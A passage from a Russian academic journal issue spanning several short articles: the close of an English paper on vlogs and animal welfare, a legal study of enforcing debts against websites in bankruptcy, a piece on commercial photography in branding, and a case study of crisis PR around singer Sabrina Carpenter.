plains how emotions experienced by vlog subjects 
transfer to viewers and influence their attitudes 
toward the surrounding world [3, p. 96-99]. 

Vlogs that actively educate viewers about 
proper animal care, showcasing feeding, training, 
and maintenance methods, have a positive impact 
by providing useful information [1]. This supports 
informed and responsible decision-making regard-
ing pet ownership and care. Animal protection 

vloggers emphasize animal needs, highlighting the 
importance of proper care, medical assistance, nu-
trition, and, importantly, protection from cruelty. 
These videos often include behavioral guidance, 
enhancing awareness and promoting conscien-
tious approaches to pet welfare [2]. 

Vloggers who engage their audiences in animal 
protection initiatives further the spread of animal 
welfare values and motivate support for such 
causes – whether through financial donations or 
participation in campaigns. 

Calls for adopting shelter animals, information 
about rescue campaigns, and appeals to support 
charitable actions strengthen public values related 
to animal protection and welfare [4]. 

Conversely, entertainment-focused vlogs often 
depict the keeping of exotic animals as household 
pets, which frequently distorts viewers’ under-
standing of these animals’ real needs. Videos 
showcasing exotic pets that do not meet natural 
requirements may foster false beliefs that such an-
imals can comfortably live in domestic settings. 
This can lead to unprepared pet ownership deci-
sions, adversely affecting both animal health and 
owner well-being [4]. 

Some vloggers, in pursuit of popularity and 
views, create provocative content that causes ani-
mals stress or pain [7, p. 45-62]. These videos may 
go viral and promote irresponsible attitudes to-
ward animals. It is important to note that such 
content not only diminishes the perception of an-
imals as sentient beings but can also foster a lack 
of empathy and respect, posing a dangerous trend 
particularly among adolescent audiences. 

Channels like Magic Family exert a notably pos-
itive influence on public opinion regarding animal 
protection and welfare. They disseminate 
knowledge on proper pet care and the necessity of 
ethical treatment. For example, series document-
ing real animal rescue stories, adaptation in new 
homes, and training elevate viewer awareness and 
encourage thoughtful decisions about pet owner-
ship, support for animal protection efforts, and 
adoption from shelters. 

Moreover, such vlogs promote empathy and re-
sponsible attitudes. Viewers observing pets’ lives 
and interactions with owners gain a better under-
standing of animal needs and the importance of 
regular care, medical services, and safety precau-
tions. 

Nevertheless, there is a downside. Some vlog-
gers, seeking to attract viewers, employ 
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provocative content placing animals under stress 
or ridicule or artificially exposing them to unsafe 
conditions. This creates distorted views of pets as 
entertainment objects rather than living beings 
with needs and feelings. 

Certain vloggers promoting exotic animals as 
pets fail to adequately address their natural needs, 
associated dangers, and ecological impacts. This 
content fosters stereotypes that any animal can be 
kept safely at home, which is misleading and po-
tentially harmful to both animals and owners. 

In conclusion, video blogs constitute a powerful 
media resource actively shaping public opinion on 
animal protection and welfare [2]. Their positive 
potential lies in disseminating knowledge about 
responsible pet care, increasing empathy through 
emotional engagement, supporting animal protec-
tion initiatives, and fostering a culture of respect-
ful and responsible animal stewardship. This is 
most effectively achieved through educational 
vlogs that highlight real human-animal interac-
tions. 

On the other hand, the presence of unethical, 
exploitative content that romanticizes animal use 
or shows irresponsible treatment creates risks of 
distorted perceptions and can encourage negative 
attitudes, particularly among youth. Hence, ad-
vancing media education, implementing digital 
ethics principles, and institutionally supporting 
ethical animal-focused vlogs are imperative. Only 
through responsible media consumption and con-
scientious content creation can a sustainable pub-
lic culture of animal care be established. 

References 
1. Bandura A. (2000). Social Learning Theory. 

St. Petersburg: Eurasia. 320 p. 
2. Burgess J., Green J. (2018). YouTube: 

Online Video and Participatory Culture. Cam-
bridge: Polity Press. 200 p. 

3. Hatfield E., Cacioppo J.T., Rapson R.L. 
(1993). Emotional Contagion. Current Directions 
in Psychological Science, 2(3), P. 96-99. 

4. Herzog H. (2010). Some We Love, Some We 
Hate, Some We Eat: Why It’s So Hard to Think 
Straight About Animals. New York: Harper. 352 p. 

5. Horton D., Wohl R.R. (1956). Mass Com-
munication and Para-Social Interaction: Observa-
tions on Intimacy at a Distance. Psychiatry, 19(3), 
P. 215-229. 

6. Gulevich O.A. (2019). Psychology of Com-
munication. Moscow: Yurait. 384 p. 

7. Cooper M., Tankersley K. (2020). Ethics of 
Animal Content in the Digital Age. Journal of Me-
dia Ethics, 5(2), P. 45-62. 

8. Nosik A.N. (2016). Media and Internet 
Communications. Moscow: Aspect Press. 192 p. 

9. Patarakin E.D. (2009). Social Interactions 
and Networked Learning 2.0. Moscow: Research 
Institute of School Technologies. 176 p. 

10. Marwick A., Boyd D. (2011). I Tweet Hon-
estly, I Tweet Passionately: Twitter Users, Context 
Collapse, and the Imagined Audience. New Media 
& Society, 13(1), P. 114-133. 

 
 

  



Актуальные исследования • 2025. №27 (262)  Юриспруденция | 68 

 

Ю Р И С П Р У Д Е Н Ц И Я  
 

 
 

ДЕРЯЕВА Екатерина Петровна 
магистрантка, Сибирский юридический университет, Россия, г. Омск 

 
ВОЗМОЖНОСТИ ОБРАЩЕНИЯ ВЗЫСКАНИЯ НА ИНТЕРНЕТ-САЙТ  

И ВКЛЮЧЕНИЯ В КОНКУРСНУЮ МАССУ В ПРОЦЕДУРАХ БАНКРОТСТВА 
 

Аннотация. В статье автор пытается разобраться в возможности обратить взыскание на исклю-
чительные права на сайт и (или) включения его в конкурсную массу в процедурах банкротства. 

 
Ключевые слова: интернет-сайт, исключительные права, обращение взыскания. 
 
 исторической точки зрения институты ин-
теллектуального права начали формиро-

ваться значительно позже, чем вещного и обя-
зательственного. Это обстоятельство в опреде-
лённой мере отразилось на степени их норма-
тивного закрепления и практической реализа-
ции. Несмотря на то, что законодательством 
Российской Федерации предусмотрены нормы, 
регулирующие обращение взыскания на ре-
зультаты интеллектуальной деятельности, их 
применение на практике сталкивается с рядом 
существенных трудностей. 

Анализ судебной и исполнительной прак-
тики свидетельствует о том, что должностные 
лица органов принудительного исполнения – 
судебные приставы-исполнители – редко при-
бегают к мерам принудительного взыскания в 
отношении объектов интеллектуальной соб-
ственности. Основными причинами такого по-
ложения являются недостаточная разработан-
ность процедур обращения взыскания на ука-
занные объекты, а также неопределённость, 
связанная с дальнейшей судьбой исключитель-
ных прав на них. 

Для более углублённого анализа вопроса, 
рассматриваемого в рамках настоящей статьи, 
пре обратимся к действующим нормативным 
положениям законодательства Российской Фе-
дерации в сфере исполнительного производ-
ства и правового регулирования интеллекту-
альной собственности. 

Согласно п. 1 ст. 1284 ГК РФ на принадлежа-
щее автору исключительное право на произве-
дение обращение взыскания не допускается, за 
исключением случая обращения взыскания по 
договору залога, который заключен автором и 
предметом которого является указанное в 

договоре и принадлежащее автору исключи-
тельное право на конкретное произведение. На 
права требования автора к другим лицам по до-
говорам об отчуждении исключительного 
права на произведение и по лицензионным до-
говорам, а также на доходы, полученные от ис-
пользования произведения, может быть обра-
щено взыскание. 

На исключительное право, принадлежащее 
не самому автору, а другому лицу, и на право 
использования произведения, принадлежащее 
лицензиату, может быть обращено взыскание. 

Правила абзаца первого настоящего пункта 
распространяются на наследников автора, их 
наследников и так далее в пределах срока дей-
ствия исключительного права [1]. 

В силу абзаца второго пункта 1 статьи 1284, 
абзаца второго пункта 1 статьи 1319 ГК РФ на 
исключительное право, принадлежащее не са-
мому автору (исполнителю), а другому лицу, и 
на право использования произведения (испол-
нения), принадлежащее лицензиату, может 
быть обращено взыскание (п. 102 Постановле-
ния Пленума Верховного Суда РФ от 23.04.2019 
№ 10) [2]. 

Согласно подп. 4 п. 1 ст. 75 Закона об испол-
нительном производстве в рамках исполни-
тельного производства взыскание может быть 
обращено на принадлежащие должнику иму-
щественные права, в том числе исключитель-
ное право на результат интеллектуальной дея-
тельности и средство индивидуализации, за 
исключением случаев, когда в соответствии с 
законодательством Российской Федерации на 
них не может быть обращено взыскание [3]. 

ГК РФ выделяет 3 случая, когда взыскание на 
исключительные права не допускается. Первый 

С 
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случай указан в вышеприведенной ст. 1284 ГК 
РФ. Аналогичное положение закреплено в от-
ношении исполнителей в ст. 1319 ГК РФ. Так, не 
допускается обращение взыскания на исклю-
чительное право исполнителя, за исключением 
если оно заложено или передано другому лицу. 
В соответствии с п. 6 ст. 1405 ГК РФ обращение 
взыскания на исключительное право на секрет-
ное изобретение не допускается [1]. 

Учитывая, что в подавляющем большинстве 
случаев создание уникальных интернет-сайтов 
осуществляется на заказ либо в рамках трудо-
вых отношений, исключительное право на ре-
зультат интеллектуальной деятельности 
обычно возникает у заказчика или работода-
теля, а не у непосредственного автора (соав-
тора) сайта. Таким образом, основываясь на 
положениях законодательства, изложенных 
выше, обращение взыскания на интернет-сайт 
как объект интеллектуальной собственности 
правовых препятствий не содержит. 

Вместе с тем, на практике остаётся откры-
тым вопрос о процедуре реализации указанной 
меры принудительного исполнения. Единых 
методических рекомендаций или чётко опре-
делённого механизма исполнительных дей-
ствий в отношении сайтов в текущем правовом 
регулировании не предусмотрено, что порож-
дает значительные сложности при практиче-
ской реализации мер принудительного харак-
тера в данной сфере. Главной проблемой обра-
щения взыскания на интеллектуальную соб-
ственность по мнению Соколовой Н. И. явля-
ется отсутствие четкой регламентации такой 
процедуры в законодательстве, что делает ин-
теллектуальную собственность «непопуляр-
ной» у непосредственного правопримени-
теля – судебного пристава-исполнителя, как 
потенциального имущества, на которое можно 
обратить взыскание, ставя, тем самым, под 
угрозу права и законные интересы взыскате-
лей. Так, при принятии решения об обращении 
взыскания на объекты интеллектуальной соб-
ственности, перед судебным приставом-ис-
полнителем поставлена задача выявить право-
устанавливающие документы, в соответствии с 
которыми возможно сделать единственно вер-
ный вывод о том, что должник является обла-
дателем права, законным собственником ука-
занного имущества, что интеллектуальной соб-
ственности действительно предоставлена 
охрана, а также установить стоимость резуль-
тата интеллектуальной деятельности, на кото-
рый планируется наложить арест. Однако, по-
лучить правоустанавливающие документы, до-
казательства объективного признания 

правовой охраны результата интеллектуальной 
деятельности или наличия права использова-
ния материального носителя результата интел-
лектуальной деятельности не всегда представ-
ляется возможным [4, с. 12-14]. 

Общим правилом, реализуемом при опре-
делении самой возможности обращения взыс-
кания на объекты интеллектуальной собствен-
ности должника, является определение обо-
ротоспособности исключительного права, са-
мой возможности рассматривать данный объ-
ект гражданских прав как товар. Проблема с об-
ращением взыскания возникает не только в 
связи с тем, что определенное право может об-
ладать свойством не отчуждаемости, а с тем, 
что объект интеллектуальной собственности 
сложно оценить в связи с тем, что отсутствует 
методика оценки данного объекта. Прежде 
всего, это касается объектов, размещенных в 
сети Интернет и используемых в коммерческих 
целях [5]. 

Анализируя гипотетический механизм об-
ращения взыскания на интернет-сайт, следует 
отметить, что для реализации указанной меры 
принудительного исполнения судебному при-
ставу-исполнителю в первую очередь необхо-
димо установить совокупность прав, принад-
лежащих владельцу сайта как составителю. 
Лишь после идентификации указанных объек-
тов интеллектуальной собственности может 
быть рассмотрен вопрос о возможности обра-
щения взыскания. 

При этом важно подчеркнуть, что не на все 
элементы, входящие в состав интернет-сайта, 
допустимо обращение взыскания. Например, 
обращение взыскания на исключительные 
права на отдельные произведения, размещён-
ные на сайте, такие как литературные, музы-
кальные, аудиовизуальные произведения, фо-
тографии, товарные знаки и иные объекты ав-
торских и смежных прав, представляется воз-
можным и практически реализуемым. Напро-
тив, обращение взыскания на исключительные 
права технической составляющей сайта, в част-
ности, свёрстанные HTML-страницы и про-
граммное обеспечение, вызывает значитель-
ные затруднения. Учитывая неделимость тех-
нической основы сайта и её сложную струк-
туру, практическая реализация взыскания в от-
ношении исключительных прав на данные, со-
ставляющие сайта, представляется маловеро-
ятной. 

Кроме того, учитывая высокую нагрузку на 
систему принудительного исполнения и значи-
тельное количество исполнительных произ-
водств, нельзя ожидать, что судебный пристав-



Актуальные исследования • 2025. №27 (262)  Юриспруденция | 70 

исполнитель будет самостоятельно заниматься 
анализом и вычленением отдельных объектов 
интеллектуальной собственности, входящих в 
состав сайта. Такой подход может быть реали-
зован лишь при условии проактивной позиции 
взыскателя, который обладает достаточной 
квалификацией и чётко представляет, какие 
именно права на сайт и его содержание при-
надлежат должнику. 

Критерии оценки объектов интеллектуаль-
ной собственности установлены Приказом 
Минэкономразвития России от 30.11.2022 г.  
№ 659 Об утверждении федерального стан-
дарта оценки «Оценка интеллектуальной соб-
ственности и нематериальных активов (ФСО 
XI)» (далее – Стандарт).  

Положения настоящего федерального стан-
дарта оценки распространяются на проведение 
оценки отдельных объектов оценки, являю-
щихся интеллектуальной собственностью (в 
том числе отнесенных к нематериальным ак-
тивам), совокупности таких объектов, а также 
сложных объектов (п. 1 Стандарта). 

Что касается вопроса оценки стоимости ин-
тернет-сайтов и доменных имён, то здесь сле-
дует отметить наличие специализированных 
программных инструментов и онлайн-серви-
сов, позволяющих достаточно точно опреде-
лить экономическую ценность таких объектов. 
Использование подобных ресурсов значи-
тельно упрощает процесс установления рыноч-
ной стоимости сайта как нематериального ак-
тива. 

При этом представляется целесообразным 
развитие механизмов обращения взыскания на 
интернет-сайты исключительно в отношении 
тех сайтов, которые обладают признаками до-
ходных активов и могут быть отнесены к кате-
гории нематериальных благ, способных прино-
сить экономический эффект. В противном слу-
чае обращение взыскания на сайт, не имеющий 
реальной рыночной ценности или доходной 
функции, будет носить формальный характер и 
вряд ли обеспечит фактическое исполнение 
обязательств должника. 

Перейдём теперь к рассмотрению вопроса 
реализации исключительных прав на интер-
нет-сайт в рамках процедур банкротства. 

Проблемы применения законодательства 
при обращении взыскания на объекты интел-
лектуальной собственности, принадлежащие 
должнику как субъекту отношений несостоя-
тельности (банкротства), а также на право их 
использования, не получили до настоящего 
времени окончательного разрешения ни в 

действующем законодательстве, ни в цивили-
стической доктрине [5]. 

На практике, в рамках осуществления ар-
битражным управляющим мероприятий по 
формированию конкурсной массы, часто воз-
никают проблемы даже не во включением объ-
екта интеллектуальной собственности в кон-
курсную массу, сколько в механизме определе-
ния такого объекта как товара, поскольку свой-
ства отдельных объектов интеллектуальной 
собственности как товара законом не опреде-
лены, например, тех объектов, которые уже 
находятся на балансе должника, но не оформ-
лены им надлежащим образом в уполномочен-
ном органе. Проблема, в данном случае, заклю-
чается в том, что фактически такие объекты в 
качестве имущества рассматривать можно, но 
юридически они могут быть выставлены на 
торги только после того, как арбитражным 
управляющим будут выполнены все формаль-
ности с регистрацией прав на данные объекты 
интеллектуальной собственности, хотя и дан-
ные действия арбитражного управляющего не 
установлены законодательством о банкрот-
стве, в связи с чем некоторые авторы предла-
гают использовать метод аналогии с теми дей-
ствиями арбитражного управляющего, кото-
рые, например, в отношении установления 
прав на недвижимое имущество должника 
прямо предусмотрены законодательством о 
несостоятельности (банкротстве) [6, с. 61-66]. 

На настоящий момент Единый федераль-
ный реестр сведений о фактах деятельности 
юридических лиц (ЕФРСБ) не обладает функци-
ональной возможностью идентификации ин-
тернет-сайтов, принадлежащих должникам. В 
связи с этим возникает необходимость анализа 
практики реализации объектов интеллектуаль-
ной собственности в рамках процедур банкрот-
ства, а также выявления причин отсутствия си-
стемного подхода к обращению взыскания на 
сайты как потенциальные активы. 

Для рассмотрения вопроса о возможности 
либо невозможности реализации интернет-
сайта или входящих в его состав объектов ин-
теллектуальной собственности предлагается 
проанализировать результаты инвентариза-
ции имущества одного из известных россий-
ских предприятий – ООО «Сеть Связной». 

Дело № А40-42574/23-178-101 «Б» связано с 
процедурой банкротства общества с ограни-
ченной ответственностью «Сеть Связной» 
(ОГРН 1057748288850, ИНН 7714617793). Не-
сколько лет назад данная компания являлась 
одним из крупнейших ритейлеров мобильных 
устройств, бытовой электроники и 
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аксессуаров, представленных через сеть киос-
ков в различных городах России. Решением Ар-
битражного суда г. Москвы от 12.12.2023 г. об-
щество признано несостоятельным (банкро-
том), в отношении него открыта процедура 
конкурсного производства. 

Компания владела интернет-магазином с 
доменом svyaznoy.ru. По данным за 2018 год, 
доля онлайн-продаж в общем объёме реализа-
ции компании составляла около 25%, а товаро-
оборот в интернет-канале за девять месяцев 
того же года увеличился на 34% по сравнению с 
аналогичным периодом предыдущего года. На 
момент подготовки настоящего исследования 
сайт не функционировал, что, вероятно, свя-
зано с прекращением оплаты хостинга. 

В материалах конкурсного производства, 
размещённых в ЕФРСБ (сообщение № 17505841 
от 26.03.2025 г.), в инвентаризационной описи 
отсутствуют сведения о правах на сайт. Более 
того, в сообщениях о торгах не содержится ин-
формации о продаже исключительных прав на 
указанный интернет-ресурс. При этом объекты 
интеллектуальной собственности, такие как 
товарные знаки, регулярно выставляются на 
торги и реализуются в рамках конкурсной про-
цедуры. 

Приведённые факты позволяют сделать вы-
вод о том, что современная российская право-
вая система пока не рассматривает интернет-
сайты в качестве полноценных имуществен-
ных активов. Хотя теоретически права на сайт 
могут быть учтены в бухгалтерском учёте как 
нематериальные активы, на практике меха-
низм обращения взыскания на такие объекты 
отсутствует. Это обстоятельство, вероятно, свя-
зано с недооценкой обществом и профессио-
нальным сообществом экономической 

ценности сайтов как самостоятельных объек-
тов интеллектуальной собственности. 

Изменение сложившейся ситуации воз-
можно лишь после формирования устойчивого 
представления о сайте как о значимом эконо-
мическом активе. До тех пор, пока не произой-
дёт соответствующая правовая и экономиче-
ская переоценка, интернет-сайты не будут вос-
приниматься в качестве объектов, доступных 
для обращения взыскания или реализации в 
рамках процедур банкротства. 
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овременный рынок коммерческой фото-
графии претерпел радикальные измене-

ния: из сугубо технической специальности она 
превратилась в стратегический инструмент 
бренд-менеджмента. Если ещё десятилетие 
назад фотограф рассматривался исключи-
тельно как исполнитель, отвечающий за каче-
ство снимков, то сегодня он становится полно-
правным соавтором бренд-стратегии, форми-
рующим визуальную идентичность компании. 
Этот переход особенно заметен на примере 
кейсов таких брендов, как WMP Eyewear и 
Anons Diamonds, где профессиональная фото-
графия стала ключевым фактором бизнес-
успеха. 

Эволюция роли фотографа наиболее 
наглядно прослеживается в изменении спектра 
решаемых задач. Современный специалист 

уже не ограничивается вопросами освещения и 
композиции – он активно участвует в анализе 
целевой аудитории бренда, разработке визу-
ального языка и адаптации контента под раз-
личные цифровые платформы. Как показывает 
практика, такой комплексный подход даёт 
ощутимые результаты: по данным исследова-
ний, качественный визуальный контент спосо-
бен увеличить конверсию на 25–35%, при этом 
снижая процент возвратов товаров на 20–
23% [1]. 

Особенно показательна в этом отношении 
история бренда RGMNT, который после пере-
хода от съёмки ювелирных изделий исключи-
тельно на моделях к комбинированию с clean 
product shots на однотонном фоне зафиксиро-
вал рост продаж на четверть [2]. 

С 
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Рис. 1. Пример изменения формата съемки одного и того же продукта на примере бренда RGMNT 

 
Кейс особенно ярко демонстрирует, как си-

стемный подход к фотографии может решать 
конкретные бизнес-задачи. Столкнувшись с 
проблемами цветопередачи и высоким про-
центом возвратов, компания разработала стро-
гую систему стандартов: использование осве-
щения 5600K с индексом цветопередачи 96 CRI, 
светло-серый фон RGB 247-245-244 для аксес-
суаров и глубокий серый с градиентом для 

ювелирных изделий. Результаты превзошли 
ожидания: возвраты сократились на 23%, а во-
влечённость в социальных сетях выросла на 
40% [3]. При этом контент-стратегия WMP 
предусматривала чёткое распределение: 70% 
clean product shots, 20% studio-контента и 10% 
креативных экспериментов, что позволило 
охватить все ключевые маркетинговые каналы. 

 
Рис. 2. Примеры фото WMP Eyewear после внедрения системы 
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В luxury-сегменте, представленном брендом 
Anons Diamonds, подход к визуальному кон-
тенту имеет принципиальные отличия. Здесь 
акцент смещается с технической точности на 
создание эмоциональной ценности и передачу 
премиальности продукта. Макросъёмка с уве-
личением 1:1, контроль бликов на драгоцен-
ных металлах, использование тёмных фонов и 

драматического освещения с коэффициентом 
контраста 3:1 – все эти приёмы работают на 
формирование особого визуального кода, по-
нятного целевой аудитории. Эффективность 
такого подхода подтверждается цифрами: рост 
конверсии на 35% при рекордно низком для 
ювелирного рынка уровне возвратов – всего 
1,2% [4]. 

 
Рис. 3. Макросъёмка ювелирных изделий Anons 

 
Адаптация контента под различные цифро-

вые платформы стала отдельным направле-
нием работы современного коммерческого 

фотографа. Как показывает практика, требова-
ния разных каналов дистрибуции могут карди-
нально отличаться: 

Таблица 
Примеры адаптации одного продукта для разных платформ 

Платформа Требования Пример реализации 
Amazon Чёткий белый фон, детали Изометрия + масштабная линейка 

Instagram Эмоциональность, сторителлинг Lifestyle на темном фоне 
Сайт Премиальная подача Фото на модели 

 

 
Рис. 4. Примеры адаптации одного продукта  

для разных платформ брендов WMP Eyewear и Anons Diamonds 



Актуальные исследования • 2025. №27 (262)  Маркетинг, реклама, PR | 75 

Эти примеры наглядно демонстрируют, как 
изменилась роль фотографии в современном 
бренд-менеджменте. Из вспомогательного ин-
струмента она превратилась в стратегический 
актив, напрямую влияющий на ключевые биз-
нес-показатели: от уровня продаж и конверсии 
до лояльности аудитории и процента возвра-
тов. При этом подходы к визуальному контенту 
существенно различаются в зависимости от 
рыночного сегмента: если для масс-маркета 
критически важны точность и адаптивность, то 
в luxury-сегменте на первый план выходят эмо-
ции и премиальность подачи. 

Перспективы развития коммерческой фото-
графии связаны с дальнейшей профессионали-
зацией отрасли. В ближайшие годы мы увидим 
рост спроса не просто на фотографов, а на ви-
зуальных стратегов, способных интегрировать 
фото- и видеоконтент в единую 

маркетинговую стратегию бренда. Развитие 
AI-инструментов для анализа эффективности 
контента позволит ещё точнее оценивать вли-
яние визуальных решений на бизнес-резуль-
таты, делая работу фотографа ещё более 
осмысленной и измеримой. 
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КЕЙС САБРИНЫ КАРПЕНТЕР 

 
Аннотация. В статье рассматриваются особенности антикризисного PR в условиях культуры от-

мены (cancel culture) в индустрии развлечений. Особое внимание уделяется технологии имиджевого репо-
зиционирования как эффективному инструменту восстановления репутации публичной личности. В ка-
честве примера используется кейс американской певицы Сабрины Карпентер, которая, оказавшись в цен-
тре публичного конфликта, сумела изменить восприятие своей персоны и выйти на новый уровень попу-
лярности. Методология основана на кейс-анализе и сопоставлении с теоретическими моделями анти-
кризисных коммуникаций. Полученные результаты демонстрируют важность системного подхода и эс-
тетической целостности при управлении репутацией. 
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 последние годы в индустрии развлечений 
наблюдается рост количества репутацион-

ных кризисов, вызванных феноменом cancel 
culture – культуры публичной «отмены» из-
вестных личностей за те или иные действия, 
или высказывания. Это явление стало мощным 
инструментом общественного давления, осо-
бенно в условиях цифровых коммуникаций. 
Традиционные подходы к антикризисному PR 
требуют переосмысления, так как негатив в со-
циальных сетях распространяется мгновенно и 
часто выходит за рамки управляемого медиа-
поля. 

Актуальность темы обусловлена необходи-
мостью выработки эффективных стратегий ре-
агирования на такие репутационные угрозы в 
условиях новой цифровой реальности. Целью 
исследования является анализ особенностей 
антикризисного PR в индустрии развлечений в 
контексте cancel culture [1]. 

Культура отмены (cancel culture) стала од-
ним из ключевых факторов формирования ре-
путационных рисков в современной индустрии 
развлечений. Она представляет собой форму 
коллективного цифрового бойкота, когда зна-
менитости подвергаются публичному осужде-
нию за поступки, высказывания или ассоциа-
ции с конфликтными темами. 

Культура отмены – это социальное явление, 
выражающееся в массовом негативном от-
клике на действия или высказывания публич-
ных лиц, компаний или брендов. Обычно оно 

проявляется в активном осуждении в соцсетях 
и организованном бойкоте. Главный механизм 
культуры отмены – отказ от поддержки: это 
проявляется в отписках, отказе от покупки то-
варов или услуг, а также снижении лояльности 
и доверия аудитории. В итоге такие действия 
приводят к серьёзным репутационным поте-
рям и влияют на дальнейшую деятельность и 
имидж объекта «отмены» [2, с. 70-81]. 

Особенность cancel culture заключается в её 
вирусной природе: любая «ошибка» момен-
тально масштабируется через социальные сети 
и вызывает массовую реакцию. Это требует от 
пиар-специалистов новой этики и скорости в 
построении антикризисных стратегий, кото-
рые опираются не только на реакцию, но и на 
переформатирование имиджа как основного 
инструмента репутационного управления. 

Современные PR-команды шоу-бизнеса ис-
пользуют широкий спектр технологий для ми-
нимизации репутационных потерь. Среди них: 

• управляемое молчание (сознательное 
избегание комментариев при одновременном 
визуальном присутствии); 

• спиндокторинг (перенаправление вни-
мания за счёт новых инфоповодов); 

• извинение и признание ответственно-
сти (эмоциональное воздействие через сочув-
ствие); 

• имиджевое репозиционирование (глу-
бокая работа над внешним и смысловым обра-
зом артиста). 

В 
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Именно последнее становится особенно эф-
фективным в долгосрочной перспективе, осо-
бенно если оно осуществляется в связке с твор-
ческой стратегией артиста [3]. 

В 2021 году певица Сабрина Карпентер ока-
залась втянутой в скандал, возникший на фоне 
конфликта между Оливией Родриго и Джошуа 
Бассетом. Песня Родриго «Drivers License», 
ставшая хитом, содержала намёки на «разлуч-
ницу», которой фанаты посчитали именно Саб-
рину. Это вызвало волну критики и негатива в 
её адрес – классический пример культуры от-
мены, когда осуждение быстро распространя-
ется в соцсетях и может серьёзно повлиять на 
карьеру артиста. 

В отличие от многих публичных фигур, Саб-
рина и её команда не вступали в споры и не 
оправдывались. Вместо этого была выбрана 
стратегия мягкого, но целенаправленного ре-
позиционирования имиджа, включавшая не-
сколько важных шагов. Во-первых, певица об-
новила визуальный стиль, сделав ставку на яр-
кий, стильный 90s-глэм, который подчеркнул 
её уверенность и независимость, переключив 
внимание с конфликта на творческую лич-
ность. Во-вторых, в музыкальной сфере она вы-
пустила новые треки – «Nonsense», «Espresso», 
«Please Please Please», – которые сочетали лёг-
кость, самоиронию и зрелое поп-звучание, де-
монстрируя её развитие как артиста. Третьим 
ключевым элементом стала активная работа в 
TikTok и визуальных медиа, где новый образ 
быстро стал вирусным и узнаваемым. Такой 
комплексный подход позволил не только сни-
зить негатив, но и превратить кризис в возмож-
ность для роста и укрепления позиций в инду-
стрии. 

Стратегия Сабрины Карпентер – яркий при-
мер упреждающего антикризисного управле-
ния, когда репутационное обновление стано-
вится инструментом не только преодоления 
кризиса, но и выхода на новый уровень в карь-
ере, особенно в условиях современной цифро-
вой медиасреды [4]. 

Отказ от попыток оправдаться помог сохра-
нить эмоциональную выдержку и продемон-
стрировать зрелость артистки. Одновременно 
визуальная и музыкальная согласованность 
способствовали формированию цельного и 
гармоничного имиджа. Акцент на самоиронии 
и харизматичной сексуальности сделал Саб-
рину более близкой и понятной для аудитории, 
а переход к универсальному мейнстрим-попу 

позволил значительно расширить круг её по-
клонников [5]. 

Культура отмены кардинально изменила 
правила взаимодействия публичных лично-
стей с аудиторией, превращая каждое высказы-
вание или поступок в потенциальный репута-
ционный риск. В условиях стремительного ин-
формационного потока традиционные методы 
антикризисного управления часто оказыва-
ются недостаточными. Однако кейс Сабрины 
Карпентер показывает, что грамотно выстро-
енное имиджевое репозиционирование спо-
собно не только минимизировать негатив, но и 
открыть новые возможности для карьерного 
роста. 

В современном цифровом пространстве 
имидж стал ключевым ресурсом, а умение 
трансформироваться и создавать целостные 
коммуникационные стратегии – важнейшим 
конкурентным преимуществом. Таким обра-
зом, пример Сабрины подтверждает, что эф-
фективное антикризисное управление может 
стать не только средством выживания, но и ин-
струментом устойчивого роста и творческого 
обновления. 
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Abstract. This article examines the features of crisis PR within the context of cancel culture in the entertainment 

industry. Special attention is given to the technology of image repositioning as an effective tool for restoring the 
reputation of a public figure. The case of American singer Sabrina Carpenter is used as an example, who, after 
finding herself at the center of a public conflict, managed to change the perception of her persona and reach a new 
level of popularity. The methodology is based on case analysis and comparison with theoretical models of crisis 
communications. The results demonstrate the importance of a systematic approach and aesthetic integrity in rep-
utation management. 
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